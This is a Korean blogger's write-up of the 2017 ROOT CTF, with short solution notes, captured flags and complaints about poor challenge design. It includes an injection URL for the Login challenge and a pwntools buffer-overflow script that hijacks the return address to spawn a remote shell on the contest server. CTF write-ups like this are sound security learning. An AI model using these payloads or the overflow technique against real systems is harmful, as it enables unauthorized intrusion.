write-ups/CTF

2017 ROOT CTF write up

2017. 12. 26. 21:33

최근에 서울디지텍고등학교 해킹동아리 ROOT에서 진행했던 ROOT CTF에 참가해서 간단하게 write up을 작성하고자 한다. 나는 9등을 했다. (흑흑) 로또 문제에 8시간을 투자했는데 푸는 방법이 있었는지? ㅋㅋ 후에 말하겠지만, 풀이자가 푼 방법은 패치해서 그렇게 못 풀도록 해놓았다. 


먼저, CTF에 대한 전체적인 평을 말하자면, 정말 불만족스럽다 ㅋ ㅋ ㅋ 웹 문제 게싱 + 출제 미숙ㅋㅋ 


admin (한국디지털미디어고등학교 1학년 5반 23번 윤석찬)


Welcome

해킹에 절대적으로 필요한 한국어 실력을 묻는 문제이다. 

FLAG{Welcome_to_Seoul_Digitech_ROOT_CTF} 


Calculate 

역연산을 이용해서 다시 플래그를 얻으면 된다. 

FLAG{Rev3rse_P1us_M1nus_X0R_R0L}



Vocabulary

티스토리에는 파일의 height가 제한을 넘겨서 업로드를 못하고 그냥 

힌트가 height인데, 이 height 값을 계속 늘리다보면 플래그를 얻을 수 있다. 

FLAG{_1vErticAl_2rEADiNg_3TAStlSb}


Stage Game

이 문제는 Sleep을 우회하면 되는데, 나 같은 경우는 올리디버거로 sleep 하기 전 EAX 값을 1로 만들어줘서 우회하고 플래그를 얻었다. 

FLAG{Y0ur_p4t1enc3_1s_gr3at!}


EGG


지금은 다른 노트북으로 라이트업을 급하게 작성하느라 아이다로 깐 것을 스크린샷으로 보여줄 수가 없지만, strcmp로 비교하는 문자열이 있었던 것 같은데 입력값으로 그 문자열을 그대로 집어넣으면 플래그를 얻을 수 있다. 


FLAG{An1v1a_3GGniViA_3Ni6mA}

Login


이 문제 처음에는 게싱이었지만, 내가 말해서 소스를 보여주는 식으로 바뀌었다. 아니 그리고 소스를 공개할거면 include 함수같은 걸 이용해서 다른 파일에 있는 코드를 불러오든가 해야되는데... 흠...ㅋㅋ CTF를 좀 풀어보고 어떤 식으로 문제가 나오는지 익힌뒤에 출제를 했으면 좋겠다. 그리고 플래그를 줄거면 그냥 깔끔하게 주던가 하지 웨 굳이 쿠키에ㅋㅋ

http://sdhsroot.kro.kr/Login/login.php?pw[1]='^0%23

FLAG{jjang_easy}



SPACE PROSPECTION


 그냥 사이트 돌아다니다가 뭐 작업하다가 정전되었다는 페이지가 있는데 .index.php.swp 파일을 보면 플래그를 얻을 수 있다. 

 FLAG{FROM_2017_FLAG}

보물찾기


그냥 찾아보면 어디 족같은데에 플래그가 있다. 라이트업 쓰다보니까 갑자기 화나는데 이런 문제를 보고 수준이 낮다고 하는 것이다.

 FLAG{bootstrap_1s_jj4ng}


Phishing


alert하는 분기문 지우고 String.fromCharCode()를 이용해서 플래그 출력하면 된다. 뭐 이건 뭐라할 수 있을 지는 모르겠는데 되도록이면 플래그 제발 정상적이게 해줬으면 좋겠다. 뭐 물론 이건 순전히 내 생각이다. 



FLAG{ˡᐭꅭ곚삍䘐䣇눛뵼• ꓨ• ᶐㆰ}


 

번외) lotto 


첫번째 풀이자가 푼 방법을 3~5시 사이에 패치했다. 이런 뭐같은 경우가..ㅋㅋㅋ 푼 사람이 있을 경우에, 그리고 그 풀이자가 그 취약점을 이용했는지 안했는지 모를 때는 그 취약점을 그대로 놔둬야줘 님들아..


Point to pointer!


#!/usr/bin/python
# coding: utf-8

from pwn import *
# context.log_level = 'debug'

binsh = 0x4007A7
# nc 222.110.147.52 42632
p = remote("222.110.147.52", 42632)
print p.recv(1024)

# payload = "A" * 48
# payload += "B" * i
payload = "A" * 16
payload += p64(binsh)
p.send(payload)
sleep(0.3)
print p.recv(1024)
p.sendline("Y")
print p.recv(1024)
p.interactive()

FLAG{P0InT_2_pOiNt_2_PO1t3R!}


최종 소감


출제자들이 이번 CTF를 계기로 반성하고, 문제 출제 전에 꼼꼼히 검수하고 게싱 요소 없는지 서로 확인하고 그랬으면 좋겠다. 내가 생각하기에 분명 IRC를 익명으로 만들어 놓았다면 욕을 많이 들었을 것이다. 

LOTTO 문제 너무 아쉽다. 출제자님이 소스 공개, 익스 공개를 거부하셨는데ㅋㅋ 자기가 자랑스럽게 만들었던 문제라면 분명히 소스 공개까지는 아니더라도 익스는 공개했을탠데 ㅋㅋ 




'write-ups > CTF' 카테고리의 다른 글

Trustealth CTF easy write up  (0) 2018.01.08
christmas CTF PICTUBE Write up  (0) 2017.12.27
mma ctf 2nd 2016 greeting write up  (0) 2017.12.19
codegate 2017 babypwn write up  (1) 2017.12.18
plaid ctf 2013 ropasaurusrex write up  (0) 2017.12.14